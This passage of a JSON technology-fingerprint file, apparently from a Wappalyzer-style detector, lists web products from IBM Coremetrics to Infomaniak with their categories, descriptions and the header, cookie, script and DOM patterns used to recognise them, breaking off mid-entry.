    "content": "{\n  \"IBM Coremetrics\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"IBM.svg\",\n    \"scriptSrc\": [\n      \"cmdatatagutils\\\\.js\"\n    ],\n    \"website\": \"https://ibm.com/software/marketing-solutions/coremetrics\"\n  },\n  \"IBM DataPower\": {\n    \"cats\": [\n      64\n    ],\n    \"cpe\": \"cpe:2.3:a:ibm:datapower_gateway:*:*:*:*:*:*:*:*\",\n    \"description\": \"IBM DataPower Gateway is a single multi-channel gateway designed to help provide security, control, integration and optimized access to a full range of mobile, web, application programming interface (API), service-oriented architecture (SOA), B2B and cloud workloads.\",\n    \"headers\": {\n      \"X-Backside-Transport\": \"\",\n      \"X-Global-Transaction-ID\": \"\"\n    },\n    \"icon\": \"DataPower.png\",\n    \"website\": \"https://www.ibm.com/products/datapower-gateway\"\n  },\n  \"IBM HTTP Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:ibm:http_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"IBM_HTTP_Server(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"IBM.svg\",\n    \"website\": \"https://ibm.com/software/webservers/httpservers\"\n  },\n  \"ID5\": {\n    \"cats\": [\n      36\n    ],\n    \"cookies\": {\n      \"id5\": \"\"\n    },\n    \"description\": \"ID5 is a company that offers an identity solution for digital advertising, providing a Universal ID that enables privacy-compliant user recognition and tracking across websites without relying on personal information or third-party cookies.\",\n    \"icon\": \"ID5.svg\",\n    \"js\": {\n      \"ID5._version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"__id5_instances\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^https://(?:cdn\\\\.)?id5-sync\\\\.com/\"\n    ],\n    \"website\": \"https://id5.io/\",\n    \"xhr\": [\n      \".*id5-sync\\\\.com\"\n    ]\n  },\n  \"IFC Markets\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"IFC Markets is a provider of Forex and CFD trading.\",\n    \"icon\": \"IFCMarkets.svg\",\n    \"js\": {\n      \"ifc_chartcontainer_id\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.ifcmarkets\\\\.com/\"\n    ],\n    \"website\": \"https://www.ifcmarkets.com\"\n  },\n  \"IIS\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:internet_information_services:*:*:*:*:*:*:*:*\",\n    \"description\": \"Internet Information Services (IIS) is an extensible web server software created by Microsoft for use with the Windows NT family.\",\n    \"headers\": {\n      \"Server\": \"^(?:Microsoft-)?IIS(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Microsoft.svg\",\n    \"implies\": [\n      \"Windows Server\"\n    ],\n    \"website\": \"https://www.iis.net\"\n  },\n  \"INFOnline\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"INFOnline.png\",\n    \"js\": {\n      \"iam_data\": \"\",\n      \"szmvars\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://(?:[^/]+\\\\.)?i(?:oam|v)wbox\\\\.de/\"\n    ],\n    \"website\": \"https://www.infonline.de\"\n  },\n  \"IONOS\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"IONOS is the web hosting and cloud partner for small and medium-sized businesses.\",\n    \"dns\": {\n      \"SOA\": \"ns1\\\\d+\\\\.ui-dns\\\\.(?:de|org|biz|com)\"\n    },\n    \"icon\": \"IONOS.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.ionos.com\"\n  },\n  \"IP2Location.io\": {\n    \"cats\": [\n      79\n    ],\n    \"cookies\": {\n      \"ip2location_redirection_first_visit\": \"\"\n    },\n    \"description\": \"IP2Location.io is a web service that provides geolocation data based on IP addresses through its API, allowing developers to integrate accurate physical location information into their applications.\",\n    \"icon\": \"IP2Location.io.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.ip2location.io\"\n  },\n  \"IPB\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"ipbWWLmodpids\": \"\",\n      \"ipbWWLsession_id\": \"\"\n    },\n    \"html\": [\n      \"<link[^>]+ipb_[^>]+\\\\.css\"\n    ],\n    \"icon\": \"IPB.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"IPBoard\": \"\",\n      \"ipb_var\": \"\",\n      \"ipsSettings\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jscripts/ips_\"\n    ],\n    \"website\": \"https://invisioncommunity.com/\"\n  },\n  \"IPFS\": {\n    \"cats\": [\n      48\n    ],\n    \"description\": \"IPFS is a peer-to-peer hypermedia protocol that provides a distributed hypermedia web.\",\n    \"headers\": {\n      \"x-cf-ipfs-cache-status\": \"\",\n      \"x-ipfs-datasize\": \"\",\n      \"x-ipfs-gateway-host\": \"\",\n      \"x-ipfs-lb-pop\": \"\",\n      \"x-ipfs-path\": \"\",\n      \"x-ipfs-pop\": \"\",\n      \"x-ipfs-root\": \"\",\n      \"x-ipfs-root-cid\": \"\",\n      \"x-ipfs-roots\": \"\"\n    },\n    \"icon\": \"IPFS.svg\",\n    \"website\": \"https://ipfs.tech/\"\n  },\n  \"IPInfoDB\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"IPInfoDB is the API that returns the location of an IP address.\",\n    \"icon\": \"IPInfoDB.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.ipinfodb.com/\",\n    \"xhr\": [\n      \"api\\\\.ipinfodb\\\\.com\"\n    ]\n  },\n  \"IPinfo\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"IPinfo is an IP address data provider.\",\n    \"icon\": \"IPinfo.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ipinfo\\\\.io/\"\n    ],\n    \"website\": \"https://ipinfo.io\",\n    \"xhr\": [\n      \"ipinfo\\\\.io/\"\n    ]\n  },\n  \"ISAY\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"ISAY (Internet Pages Management) is a CMS service provided by the Turkish Ministry of Interior for governorships, district governorships and various official websites.\",\n    \"dom\": [\n      \"div.topbar-img img[src*='/Areas/WebPart/Contents/FHeader/img/ataturk.svg']\"\n    ],\n    \"icon\": \"ISAY.svg\",\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"website\": \"https://www.icisleri.gov.tr/internet-sayfalari-yonetimi-isay\"\n  },\n  \"Iamport\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Iamport is an information technology company based in South Korea.\",\n    \"icon\": \"Iamport.svg\",\n    \"js\": {\n      \"IMP.request_pay\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.iamport\\\\.kr/js/iamport\\\\.payment-([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.iamport.kr\"\n  },\n  \"Ibexa DXP\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Ibexa DXP is an open-source enterprise PHP content management system (CMS) and Digital Experience Platform (DXP) developed by the company Ibexa (known previously as eZ Systems).\",\n    \"headers\": {\n      \"x-powered-by\": \"^Ibexa\\\\sExperience\\\\sv([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Ibexa.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Symfony\"\n    ],\n    \"meta\": {\n      \"generator\": \"^eZ Platform\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ibexa.co\"\n  },\n  \"Icegram\": {\n    \"cats\": [\n      32,\n      87\n    ],\n    \"description\": \"Icegram is a WordPress plugin designed to grow subscribers and increase conversions.\",\n    \"icon\": \"Icegram.svg\",\n    \"js\": {\n      \"Icegram\": \"\",\n      \"icegram_data\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/icegram/.*main\\\\.min\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.icegram.com\"\n  },\n  \"IconScout\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"IconScout is a platform that offers a diverse collection of high-quality icons and design resources for creative professionals, allowing them to enhance their projects with visually appealing elements.\",\n    \"dom\": [\n      \"link[href*='.iconscout.com/'], img[src*='.iconscout.com/']\"\n    ],\n    \"icon\": \"IconScout.svg\",\n    \"website\": \"https://iconscout.com\"\n  },\n  \"Iconosquare\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Iconosquare is an all-in-one social media management platform that facilitates the lives of SMMs with multiple profiles to manage.\",\n    \"dom\": [\n      \"iframe[src*='iconosquare.com/']\"\n    ],\n    \"icon\": \"Iconosquare.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\.iconosquare\\\\.com\"\n    ],\n    \"website\": \"https://www.iconosquare.com\"\n  },\n  \"Ideasoft\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ideasoft is a Turkish software company providing web-based software solutions, software design, ecommerce solutions, and other services.\",\n    \"icon\": \"Ideasoft.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.myideasoft\\\\.com/([\\\\d.]+)\\\\;version:\\\\1\",\n      \"\\\\.ideasoft\\\\.dev/\"\n    ],\n    \"website\": \"https://www.ideasoft.com.tr\"\n  },\n  \"Identrust\": {\n    \"cats\": [\n      70\n    ],\n    \"certIssuer\": \"TrustID\",\n    \"description\": \"denTrust is a digital identity authentication solution.\",\n    \"icon\": \"Identrust.svg\",\n    \"website\": \"https://www.identrust.com/\"\n  },\n  \"IdoSell Shop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"IdoSell Shop is a fully functional ecommerce software platform.\",\n    \"icon\": \"idosellshop.png\",\n    \"js\": {\n      \"IAI_Ajax\": \"\"\n    },\n    \"website\": \"https://www.idosell.com\"\n  },\n  \"Ignition\": {\n    \"cats\": [\n      55\n    ],\n    \"description\": \"Ignition is an all-in-one platform streamlining proposals, billing, payments, and workflows for accounting and professional services firms.\",\n    \"icon\": \"Ignition.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.practiceignition\\\\.com/\"\n    ],\n    \"website\": \"https://www.ignitionapp.com\"\n  },\n  \"Ikas\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ikas is a new generation ecommerce platform designed for small businesses.\",\n    \"headers\": {\n      \"server\": \"^ikas$\",\n      \"x-powered-by\": \"^ikas$\"\n    },\n    \"icon\": \"Ikas.svg\",\n    \"implies\": [\n      \"Next.js\",\n      \"GraphQL\",\n      \"MongoDB\"\n    ],\n    \"js\": {\n      \"IkasEvents.subscribe\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ikas.com\"\n  },\n  \"Iluria\": {\n    \"cats\": [\n      6,\n      63\n    ],\n    \"description\": \"Iluria is a hosted ecommerce platform from Brazil.\",\n    \"icon\": \"Iluria.svg\",\n    \"js\": {\n      \"Iluria\": \"\",\n      \"iluriaShowPagination\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"template-assets\\\\.iluria\\\\.com/commons/\"\n    ],\n    \"website\": \"https://www.iluria.com.br\"\n  },\n  \"ImBox\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Imbox is a live chat platform that includes co-browsing features.\",\n    \"icon\": \"Imbox.svg\",\n    \"js\": {\n      \"__IMBOX_GLOBAL__\": \"\",\n      \"__IMBOX_INITIALIZED__\": \"\",\n      \"_imbox\": \"\",\n      \"imboxBuilt\": \"\",\n      \"imboxManager\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://imbox.se\"\n  },\n  \"Image Relay\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Image Relay is a digital asset management system that allows organizations to upload, manage, organize, monitor and track their digital assets.\",\n    \"dom\": [\n      \"a[href*='.imagerelay.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Image Relay.svg\",\n    \"js\": {\n      \"ImageRelay.accounts\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.imagerelay\\\\.com/\"\n    ],\n    \"website\": \"https://www.imagerelay.com\"\n  },\n  \"ImageEngine\": {\n    \"cats\": [\n      31,\n      92\n    ],\n    \"description\": \"ImageEngine is an intelligent image content delivery network. ImageEngine will resize your image content tailored to the end users device.\",\n    \"dom\": [\n      \"link[href*='.imgeng.in/'], img[src*='.imgeng.in/'], img[data-src*='.imgeng.in/'], source[srcset*='.imgeng.in/']\"\n    ],\n    \"icon\": \"ImageEngine.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://imageengine.io\"\n  },\n  \"Imagekit\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"ImageKit is an image optimisation and transformation server for web and mobile app developers.\",\n    \"dom\": [\n      \"link[href*='ik.imagekit.io/']\"\n    ],\n    \"icon\": \"ImageKit.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://imagekit.io/\"\n  },\n  \"Imagely NextGEN Gallery\": {\n    \"cats\": [\n      87,\n      7\n    ],\n    \"description\": \"NextGEN Gallery is a WordPress gallery plugin maintained by Imagely.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/nextgen-gallery/']\"\n    ],\n    \"icon\": \"Imagely.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/nextgen-gallery(?:-pro|-plus)?/\"\n    ],\n    \"website\": \"https://www.imagely.com/wordpress-gallery-plugin\"\n  },\n  \"Imber\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Imber is an all-in-one marketing automation platform built for customer support (live chat), sales, and marketing.\",\n    \"icon\": \"Imber.png\",\n    \"js\": {\n      \"$imber.getVisitor\": \"\",\n      \"IMBER_ID\": \"\",\n      \"IMBER_SOCKET\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://imber.live\"\n  },\n  \"Imgix\": {\n    \"cats\": [\n      31,\n      95\n    ],\n    \"cpe\": \"cpe:2.3:a:imgix:imgix:*:*:*:*:*:*:*:*\",\n    \"description\": \"Imgix is a visual media platform for managing, processing, rendering, optimising and delivering your existing images.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.imgix\\\\.net\"\n    },\n    \"dom\": [\n      \"img[src*='.imgix.net/'], img[data-src*='.imgix.net/'], img[srcset*='.imgix.net/'], source[src*='.imgix.net/'], source[data-src*='.imgix.net/']\"\n    ],\n    \"icon\": \"Imgix.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://imgix.com/\"\n  },\n  \"Immerss\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Immerss is a platform that offers 1-to-1 Digital Clienteling, allowing customers to connect with businesses in real time via dynamic video, chat, and messaging for a personalized shopping experience.\",\n    \"icon\": \"Immerss.svg\",\n    \"js\": {\n      \"Immerss.service_id\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.immerss\\\\.live/\"\n    ],\n    \"website\": \"https://www.immerss.live\"\n  },\n  \"Immutable.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Immutable.js is a JavaScript library developed by Facebook that provides immutable data structures for more predictable state management in applications.\",\n    \"icon\": \"Immutable.js.svg\",\n    \"js\": {\n      \"Immutable\": \"\",\n      \"Immutable.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"^immutable\\\\.(?:min\\\\.)?js$\"\n    ],\n    \"website\": \"https://facebook.github.io/immutable-js/\"\n  },\n  \"Impact\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Impact helps businesses contract and pay partners.\",\n    \"icon\": \"Impact.svg\",\n    \"js\": {\n      \"ImpactRadiusEvent\": \"\",\n      \"irEvent\": \"\"\n    },\n    \"scriptSrc\": [\n      \"d\\\\.impactradius-event\\\\.com\"\n    ],\n    \"website\": \"https://impact.com/\"\n  },\n  \"Impero\": {\n    \"cats\": [\n      46\n    ],\n    \"description\": \"Impero offers educational and corporate customers the most secure way of remotely accessing devices.\",\n    \"icon\": \"Impero.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.netop\\\\.com\"\n    ],\n    \"website\": \"https://www.imperosoftware.com\"\n  },\n  \"Imperva\": {\n    \"cats\": [\n      16,\n      31\n    ],\n    \"description\": \"Imperva is a cyber security software and services company for networking, data, and application security.\",\n    \"headers\": {\n      \"X-CDN\": \"Incapsula\",\n      \"X-Iinfo\": \"\",\n      \"x-cdn\": \"^Imperva\"\n    },\n    \"icon\": \"Imperva.svg\",\n    \"scriptSrc\": [\n      \"/_Incapsula_Resource\"\n    ],\n    \"website\": \"https://www.imperva.com\"\n  },\n  \"Importify\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Importify is a dropshipping app that sources products from hundreds of suppliers, facilitating their integration into your online store for sale.\",\n    \"icon\": \"Importify.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.importify\\\\.net/\"\n    ],\n    \"website\": \"https://www.importify.com/\"\n  },\n  \"ImpressCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"ICMSSession\": \"\",\n      \"ImpressCMS\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:*\",\n    \"description\": \"ImpressCMS is an open-source content management system (CMS) designed for creating and managing dynamic websites.\",\n    \"icon\": \"ImpressCMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"ImpressCMS\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"include/linkexternal\\\\.js\"\n    ],\n    \"website\": \"https://www.impresscms.org\"\n  },\n  \"ImpressPages\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:impresspages:impresspages_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"ImpressPages is an open-source content management system (CMS) that enables users to create and manage websites easily, featuring a user-friendly interface and customizable templates.\",\n    \"icon\": \"ImpressPages.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"ImpressPages(?: CMS)?( [\\\\d.]*)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://impresspages.org\"\n  },\n  \"Imunify360\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Imunify360 is a comprehensive security platform for Linux web servers which utilises machine learning technology and other advanced techniques to provide protection against various types of cyber threats, such as malware, viruses, and other attacks.\",\n    \"headers\": {\n      \"Server\": \"imunify360-webshield/([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Imunify360.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.imunify360.com\"\n  },\n  \"Imweb\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Imweb is a ecommerce website builder software.\",\n    \"icon\": \"Imweb.svg\",\n    \"js\": {\n      \"IMWEB_TEMPLATE\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"vendor-cdn\\\\.imweb\\\\.me/\"\n    ],\n    \"website\": \"https://imweb.me\"\n  },\n  \"In Cart Upsell & Cross-Sell\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"In Cart Upsell & Cross-Sell is a Shopify app built by InCart Upsell, provides targeted upsells and cross-sells directly in your cart and product page.\",\n    \"icon\": \"In Cart Upsell & Cross-Sell.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.incartupsell\\\\.com/\"\n    ],\n    \"website\": \"https://incartupsell.com\"\n  },\n  \"InMoment\": {\n    \"cats\": [\n      10,\n      73\n    ],\n    \"description\": \"InMoment provides SaaS based customer survey and enterprise feedback management solutions.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.inmoment\\\\.com\",\n      \"Content-Security-Policy-Report-Only\": \"\\\\.inmoment\\\\.com\"\n    },\n    \"icon\": \"InMoment.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.inmoment\\\\.com(?:\\\\.\\\\w+)?/\"\n    ],\n    \"website\": \"https://inmoment.com\"\n  },\n  \"InSyncai\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"InSyncai offers a conversational platform for enterprises to design and build chatbots having applications in customer support and services.\",\n    \"dom\": [\n      \"iframe[src*='insync_iframe_webchat_js_prod'], iframe#insync-iframe\"\n    ],\n    \"icon\": \"InSyncai.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.insyncai.com\"\n  },\n  \"Inblog\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Inblog is a content management system designed for SEO, featuring CTAs and analytics for revenue optimization.\",\n    \"dom\": [\n      \"link[href*='inblog.ai/_next/static']\"\n    ],\n    \"icon\": \"Inblog.svg\",\n    \"implies\": [\n      \"Next.js\",\n      \"Supabase\",\n      \"shadcn/ui\",\n      \"Tailwind CSS\"\n    ],\n    \"meta\": {\n      \"generator\": \"inblog\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://inblog.ai\"\n  },\n  \"Incapsula\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Incapsula is a cloud-based application delivery platform. It uses a global content delivery network to provide web application security, DDoS mitigation, content caching, application delivery, load balancing and failover services.\",\n    \"headers\": {\n      \"X-CDN\": \"Incapsula\"\n    },\n    \"icon\": \"Incapsula.png\",\n    \"website\": \"https://www.incapsula.com\"\n  },\n  \"Incident.io\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Incident.io is a Slack-integrated incident management tool used to announce, manage, and resolve all incidents in a single channel.\",\n    \"headers\": {\n      \"x-webkit-csp\": \"incident-io-team\\\\.vercel\\\\.app\"\n    },\n    \"icon\": \"Incident.io.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://incident.io\"\n  },\n  \"Includable\": {\n    \"cats\": [\n      18\n    ],\n    \"headers\": {\n      \"X-Includable-Version\": \"\"\n    },\n    \"icon\": \"Includable.svg\",\n    \"website\": \"https://includable.com\"\n  },\n  \"Index Exchange\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Index Exchange is a customizable exchange technology that enables sell side media firms to monetize ad inventories programmatically and in real time.\",\n    \"icon\": \"Index Exchange.svg\",\n    \"website\": \"https://www.indexexchange.com\",\n    \"xhr\": [\n      \"\\\\.casalemedia\\\\.com\"\n    ]\n  },\n  \"Indexhibit\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:indexhibit:indexhibit:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<(?:link|a href) [^>]+ndxz-studio\"\n    ],\n    \"implies\": [\n      \"PHP\",\n      \"Apache HTTP Server\",\n      \"Exhibit\"\n    ],\n    \"meta\": {\n      \"generator\": \"Indexhibit\"\n    },\n    \"website\": \"https://www.indexhibit.org\"\n  },\n  \"Indi\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Indi is a video social network where everyone - artists, brands, retailers, nonprofits, celebrities and individuals - can connect with fans and supporters to interact directly with your brand utilising exclusive Video Challenges and Video Threads tailor made by you.\",\n    \"icon\": \"Indi.png\",\n    \"js\": {\n      \"indi.formatStats\": \"\",\n      \"indiCountly.check_any_consent\": \"\",\n      \"indi_carousel.productCta\": \"\"\n    },\n    \"website\": \"https://indi.com\"\n  },\n  \"Indico\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"MAKACSESSION\": \"\"\n    },\n    \"description\": \"Indico is an open-source event management system designed for organizing scientific conferences and workshops.\",\n    \"html\": [\n      \"Powered by\\\\s+(?:CERN )?<a href=\\\"http://(?:cdsware\\\\.cern\\\\.ch/indico/|indico-software\\\\.org|cern\\\\.ch/indico)\\\">(?:CDS )?Indico( [\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Indico.svg\",\n    \"oss\": true,\n    \"website\": \"https://getindico.io\"\n  },\n  \"Indy\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"Indy(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://indyproject.org\"\n  },\n  \"Inertia.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Inertia.js is a protocol for creating monolithic single-page applications.\",\n    \"dom\": {\n      \"div[data-page*='component']\": {\n        \"attributes\": {\n          \"data-page\": \"component.+props.+url\"\n        }\n      }\n    },\n    \"headers\": {\n      \"Vary\": \"X-Inertia\",\n      \"X-Inertia\": \"\"\n    },\n    \"icon\": \"Inertia.svg\",\n    \"oss\": true,\n    \"website\": \"https://inertiajs.com\"\n  },\n  \"InfernoJS\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"InfernoJS is a JavaScript library designed for building user interfaces, known for its high performance and similarity to React.js in terms of API and structure.\",\n    \"icon\": \"InfernoJS.svg\",\n    \"js\": {\n      \"Inferno\": \"\",\n      \"Inferno.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://infernojs.org\"\n  },\n  \"Infinite Scroll\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"jQuery plugin for infinite scrolling.\",\n    \"icon\": \"Infinite Scroll.svg\",\n    \"js\": {\n      \"infinitescroll\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"infinite-?scroll(?:\\\\.pkgd)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://infinite-scroll.com/\"\n  },\n  \"Influence\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Influence is a conversion optimisation tool for ecommerce that leverages real-time social proof.\",\n    \"icon\": \"Influence.svg\",\n    \"js\": {\n      \"Influence\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.useinfluence\\\\.co/\"\n    ],\n    \"website\": \"https://useinfluence.co\"\n  },\n  \"Influx CMS\": {\n    \"cats\": [\n      1,\n      32\n    ],\n    \"description\": \"Influx CMS is a medical marketing platform specialising in custom web design and marketing for doctors, surgeons, and medical spas.\",\n    \"dom\": [\n      \"a[href*='www.influxmarketing.com'] > svg[class*='influx-footer-logo']\"\n    ],\n    \"icon\": \"InfluxCMS.svg\",\n    \"requires\": [\n      \"React\",\n      \"Gatsby\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.influxmarketing.com\"\n  },\n  \"Infogram\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Infogram is a web-based data visualisation and infographics platform.\",\n    \"dom\": [\n      \"iframe[src*='.infogram.com/']\"\n    ],\n    \"icon\": \"Infogram.svg\",\n    \"js\": {\n      \"InfogramEmbeds\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://infogram.com\"\n  },\n  \"Infolinks\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Infolinks is an online advertising platform for publishers and advertisers.\",\n    \"icon\": \"Infolinks.png\",\n    \"js\": {\n      \"infolinks_pid\": \"\",\n      \"infolinks_wsid\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.infolinks.com\"\n  },\n  \"Infomaniak\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Infomaniak is a hosting company based in Geneva, Switzerland.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.infomaniak\\\\.ch\"\n    },\n    \"icon\": 